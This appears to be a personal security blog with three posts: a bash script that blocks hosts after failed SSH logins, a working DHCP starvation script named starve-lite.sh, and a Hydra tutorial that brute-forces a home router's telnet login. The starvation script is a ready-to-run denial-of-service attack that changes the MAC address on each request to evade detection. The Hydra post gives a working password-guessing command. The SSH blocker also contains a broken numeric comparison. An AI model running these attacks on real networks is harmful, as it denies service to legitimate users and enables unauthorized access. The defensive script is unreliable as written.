Simple Linux SSH IDS/IPS Script - Ver. 2

EDIT: Go figure that I re-invented the wheel. :)
I will leave this here for reference. Go ahead and check out: DenyHosts. The biggest thing about it that I am promoting it for is that you can potentially block zombie computers before they reach your network. It blocks based off attacks against your system and also pulls from a database of attacks other networks have seen (or not if you tell it not to). Enjoy!

---

I realized that the original SSH IDS/IPS I wrote was a little flawed... It was finding and logging items that weren't actual hosts. BUT, it was doing its job on blocking those "non-hosts". ha I think i've got it to a good point now. So far it has only been tested on openSUSE 10.3 (script should apply to entire line of openSUSE distros). I think it is generic enough to apply to most other *nix based OS's but you will want to check for location mis-matches just in case.

Also, there is no pre-setup. Just run the script and it will let you know if you have never ran the script before or if logrotate was doing its job. :)

---

idsips.ssh.sh

---

#! /bin/bash

# Version 2

# Get old delimiter for where to look from
gto=`grep IDSIPSDELIM-SSHD /var/log/messages | tail -n1`
if [ `echo "$gto" | grep SSH | wc -l` -lt 1 ]
then
echo "Looks like the log file is missing the delimiter. If this is the first time running this script, please run it again. If it has been running ok then it probably means logrotate is doing its job. Exiting..."
echo "IDSIPSDELIM-SSHD-`date +%s`" >> /var/log/messages
exit
fi

# Apply new delimiter so we know where to look for again
echo "IDSIPSDELIM-SSHD-`date +%s`" >> /var/log/messages

#gtf=`grep -A200000000 $gto /var/log/messages | grep sshd | grep -i fail | awk '{ print $NF }' | grep [0-9] | sort -u`
gtf=`grep -A200000000 $gto /var/log/messages | grep sshd | grep -i fail | awk -F"from" '{ print $2 }' | awk '{ print $1 }' | grep [0-9a-zA-Z]"\."[0-9a-zA-Z] | sort -u`

for s in `echo "$gtf"`
do
num=`echo "$gtf" | grep $s | wc -l`
if [ $num > 10 ]
then
blkd="`date +%s`"
echo "ALL : $s # AUTOBLOCK-$blkd" >> /etc/hosts.deny
echo "`date` - AUTOBLOCK - $s - $blkd" >> /var/log/idsips.sh.log
sleep 1
fi
done

gtcd=`date +%s`
for s in `grep AUTOBLOCK /etc/hosts.deny | cut -d"-" -f2`
do
gts=`expr $gtcd - $s`
if [ "$gts" -gt 360 ]
then
gto=`grep -v $s /etc/hosts.deny`
echo "$gto" > /etc/hosts.deny
fi
done

---

Shell Script - starve-lite.sh

I came upon something today that caught my attention; a way to "suck up" all the IP's on a network to essentially create a DOS. This is a DOS because you are denying legitimate computers on the network the ability to communicate with other computers on the network. There was a program that I could download to perform the DOS but I wanted something that I could utilize right away and not need to make sure I am missing dependencies (Note, Linux script running on BackTrack 3).

Its rather simple.
1. Bring down the interface
2. Change the MAC
3. Bring up the interface
4. Send DHCP request w/ fake hostname
5. Calculate how long it took
6. Calculate how many taken per minute & in the next 1/2 & full hour
7. Log what IP's have been taken

If you leave it running it will try and snag an available IP right as it comes available. I have tested it on my network and I was able to get quite a few before I turned it off. Against the speed of my DHCP server the script calculated that a whole "C" block would be taken within an hour. Plenty of time to do scans, vuln assessment, etc. while you wait.

Also, this method should evade detection because IP requests are coming from a different MAC every time. They are also coming at a slower rate (hence, starve-lite.sh). If you have any Cisco gear that you can turn on detection and then run the script, please let me know how it goes. :) I should be releasing a faster-rate version soon that will gobble up as many as possible right away but has more possibility of detection.

---

starve-lite.sh

---

#! /bin/bash

ref=`date +%s`
clear
while [ 1 ]
do
int="eth0"
stt=`date +%s`
ifconfig $int down
macchanger -rA $int
ifconfig $int up
rm -f /etc/dhcpc/*.pid
dhcpcd -h `echo "$RANDOM"` $int
ip=`ifconfig $int | grep inet | cut -d":" -f2 | awk '{ print $1 }'`
echo "$ip" >> /starve.txt
ent=`date +%s`
run=`expr $ent - $stt`
min=`expr 60 / $run`
half=`expr 1800 / $run`
hour=`expr 3600 / $run`
clear
echo "Total IP Leases Taken: `wc -l /starve.txt | awk '{ print $1 }'`"
echo "Running Time: $run Seconds"
echo "Approx. $min IP's Per Minute"
echo "Approx. $half IP's Per 1/2 Hour"
echo "Approx. $hour IP's Per Hour"
echo "---------------------------"
done

---

Hydra / Hydra GTK - Basic Cracking (Hacking)

Well its time to begin a short series of Hydra. I was very surprised at how many hits my original blog post received. Unfortunately, it didn't really have any useful information. ha BUT, this post is to make up for it. So, we are going to start with some basic cracking. At this time I won't be getting into installing it on any particular operating system.

---

If you run the program with no arguments, you get this:


Hydra v5.4 [http://www.thc.org] (c) 2006 by van Hauser / THC

Syntax: ./hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

Options:
-R restore a previous aborted/crashed session
-S connect via SSL
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-e ns additional checks, "n" for null password, "s" try login as pass
-C FILE colon seperated "login:pass" format, instead of -L/-P options
-M FILE server list for parallel attacks, one entry per line
-o FILE write found login/password pairs to FILE instead of stdout
-f exit after the first found login/password pair (per host if -M)
-t TASKS run TASKS number of connects in parallel (default: 16)
-w TIME defines the max wait time in seconds for responses (default: 30)
-v / -V verbose mode / show login+pass combination for each attempt
server the target server (use either this OR the -M option)
service the service to crack. Supported protocols: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd
OPT some service modules need special input (see README!)

Use HYDRA_PROXY_HTTP/HYDRA_PROXY_CONNECT and HYDRA_PROXY_AUTH env for a proxy.
Hydra is a tool to guess/crack valid login/password pairs - use allowed only
for legal purposes! If used commercially, tool name, version and web address
must be mentioned in the report. Find the newest version at http://www.thc.org

This is all GOOD information. I would bet most of you could figure out what to do from here.

---

So, I am going to try and break into the router at my house. Telnet is open from the inside so that will be a good service to start with. Many home routers will have telnet as an option for management. You may need to log into the web-gui to enable it though. Another great way to try and break in is if your router has a username/password prompt that comes up before you can do anything (NOT a web form login).

For starters, we need a password list. Open vi or notepad and create a short list of random words. Make sure your current password is NOT in the list. Also, you could do the same for usernames but we will be assuming you know the username already. :) The last assumption is that you know the IP address. I will be using 192.168.1.1 but make sure you change it if needed. If your telnet server does not require a username then you will need to play with hydra a little bit to make it work (sorry, won't be getting into that today).

Enter this:
hydra -l admin -P passwordlist.txt 192.168.1.1 telnet

There. That was simple wasn't it? It should complete shortly. Now, put your current password in the password list you created earlier. If all goes well, you should see something like:

[23][telnet] host: 192.168.1.1 login: admin password: abc123

---

Just as an FYI, I plan on making a 'mini-series' linkable on the right side. Please feel free to let me know what you would like to know about hydra and I will do a write-up on it. :)